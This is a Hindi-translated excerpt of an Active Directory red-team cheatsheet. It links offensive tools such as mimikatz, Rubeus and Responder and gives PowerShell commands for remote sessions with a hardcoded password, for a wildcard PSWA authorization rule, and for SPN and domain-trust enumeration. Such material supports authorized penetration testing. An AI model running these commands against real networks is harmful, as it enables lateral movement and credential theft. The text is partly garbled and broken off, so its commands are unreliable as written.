ristbs/awesome-redteam-cheatsheetRed Team Cheatsheet निरंतर विस्तार में।
आप मुझे यहाँ सहायता कर सकते हैं 🐱 :
यह AD हमले चीटशीट, RistBS द्वारा बनाया गया है, Active-Directory-Exploitation-Cheat-Sheet रेपो से प्रेरित है।
पावरशेल उपकरण :
[⭐] Nishang -> https://github.com/samratashok/nishangnishang में विंडोज पेंटेस्टिंग के लिए पावरशेल वातावरण में कई उपयोगी स्क्रिप्ट हैं।
powerview powersploit का एक स्क्रिप्ट है जो संभावित पार्श्व गति के लिए AD आर्किटेक्चर की गणना की अनुमति देता है।
गणना उपकरण :
[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExeAD शोषण टूलकिट :
[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket[⭐] kekeo -> https://github.com/gentilkiwi/kekeoडंपिंग उपकरण :
[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz[⭐] rubeus -> https://github.com/GhostPack/Rubeusश्रोता उपकरण :
[⭐] responder -> https://github.com/SpiderLabs/ResponderPS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100
$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100
### PSWA का दुरुपयोग
किसी भी व्यक्ति को क्रेडेंशियल्स के साथ किसी भी मशीन और किसी भी कॉन्फ़िग से कनेक्ट करने की अनुमति देता है
**[ ! ] इस कार्रवाई के लिए क्रेडेंशियल्स आवश्यक हैं।**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *
PowerView का उपयोग करके :```powershell Get-NetUser –SPN
> का उपयोग करके [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
MapTrust :```powershell Invoke-MapDomainTrust
**वर्तमान डोमेन के लिए डोमेन ट्रस्ट :**